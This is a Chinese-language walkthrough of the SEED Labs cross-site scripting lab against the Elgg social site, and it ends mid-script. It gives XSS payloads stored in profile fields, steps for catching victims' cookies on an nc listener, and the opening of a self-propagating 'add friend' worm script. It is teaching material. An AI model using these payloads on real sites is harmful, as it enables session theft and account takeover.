SeedLabs-Web安全-XSS实验
前言
XSS的实验记录
提示:以下是本篇文章正文内容,下面案例可供参考
Lab Tasks
1.1 熟悉“HTTP Header Live”工具
在这个实验室中,我们需要构造HTTP请求。找出Elgg中可接受的HTTP请求看起来,我们需要能够捕获和分析HTTP请求。我们可以使用一个名为种子实验室-跨站点脚本攻击实验室4“HTTP Header Live”用于此目的。在你开始研究这个实验室之前,你应该先熟悉一下用这个工具。指南部分给出了如何使用此工具的说明
1.2 发布恶意消息以显示警报窗口
此任务的目标是在Elgg概要文件中嵌入一个JavaScript程序,以便用户查看您的个人资料,JavaScript程序将被执行,并显示一个警报窗口。这个以下JavaScript程序将显示警报窗口:
<script>alert('XSS');</script>
如果您将上述JavaScript代码嵌入到您的配置文件中(例如,在brief description字段中),那么任何用户查看您的个人资料的人将看到警报窗口。在本例中,JavaScript代码足够短,可以输入short description字段。如果你愿意的话要运行一个长的JavaScript,但您受到表单中可以键入的字符数的限制,您可以将JavaScript程序存储在独立文件中,用.js扩展名保存,然后使用<script>
标记中的src属性引用它。请参见以下示例:
<script type="text/javascript"
src="http://www.example.com/myscripts.js">
</script>
solution
进入Docker,把Script代码插进配置文件即可
docker ps
docker exec -it id /bin/bash
插入前面的<script>alert(’XSS’);</script>
echo "<script>alert('xss')</script>" >> index.html
这里值得注意的是,按照pdf中说的配置hosts
少配了一项,需要添加进去:
10.9.0.5 www.seed-server.com
之后我们正常登录站点,如samy
接下来在profile插入XSS并保存
然后回到个人主页
1.3 发布恶意消息以显示Cookie
回到刚才编辑页面,把alert中的xss代码替换成document.cookie
1.4 从受害者的机器上窃取Cookie
nc监听端口5555,xss会把Cookie发送到自己的IP:10.9.0.1
这里开启监听后,我们发起XSS攻击
得到数据
1.5 成为受害者的朋友
这个Elgg站点和之前CSRF是一样的,找到添加朋友的接口以及自己的ID,如何获取,在CSRF实验中已经写过了,这里不再赘述。
在获取到接口后,需要在个人中心的about me里,插入JavaScript代码,所有访问自己的人都会触发代码调用把samy添加为朋友的接口
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.sec